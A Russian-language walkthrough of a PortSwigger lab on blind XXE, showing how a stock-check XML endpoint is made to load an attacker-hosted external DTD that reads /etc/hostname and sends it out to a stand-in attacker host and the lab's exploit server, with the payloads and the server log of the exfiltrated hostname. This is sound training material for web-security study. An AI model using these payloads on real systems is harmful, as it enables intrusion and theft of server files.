На странице
Blind XXE: эксфильтрация данных через вредоносный external DTD
Лаборатория
Exploiting blind XXE to exfiltrate data using a malicious external DTD · Practitioner
Решение
Дано
This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, exfiltrate the contents of the /etc/hostname file.
Анализ
Как обычно — есть функция проверки наличия товара, она использует XML и уязвима к XXE. Однако результат не возвращается в ответе, поэтому нужно использовать external DTD для получения содержимого файла /etc/hostname.
Что нам потребуется?
- Exploit-сервер, где мы разместим external DTD.
- Payload для external DTD.
- Payload для роута получения остатка товара.
- Exploit-сервер, который примет данные из
/etc/hostname.
1 и 4 нам предоставил PortSwigger.
Payload для external DTD:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
Payload для роута:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
Это примерные payload'ы. В процессе разведки добавим в них актуальные адреса.
Разведка и атака
Находим нужный роут — POST /product/stock:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Ок, посмотрим наш exploit-сервер. Адрес для внешнего DTD:
https://exploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net/exploit.dtd
Думаю, сразу стоит задать ему кодировку:
Content-Type: text/xml; charset=utf-8
Содержимое будет:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'https://exploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net?x=%file;'>">
%eval;
%exfiltrate;
Ок, файл готов. Теперь payload для запроса:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net/exploit.dtd"> %xxe;]>
Ммм, похоже получилось:
10.0.3.6 2026-05-30 07:28:22 +0000 "GET /exploit.dtd HTTP/1.1" 200 "User-Agent: Java/21.0.1"
10.0.3.6 2026-05-30 07:28:22 +0000 "GET /?x=87fc24e05976 HTTP/1.1" 200 "User-Agent: Java/21.0.1"
Имя хоста — 87fc24e05976. Сабмитим ответ.
Лаба решена!
Ещё в этой категории
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.
Изменение сериализованных объектов (PortSwigger Lab)
Меняем булево поле `admin` в PHP-сериализованной куке сессии и получаем права администратора.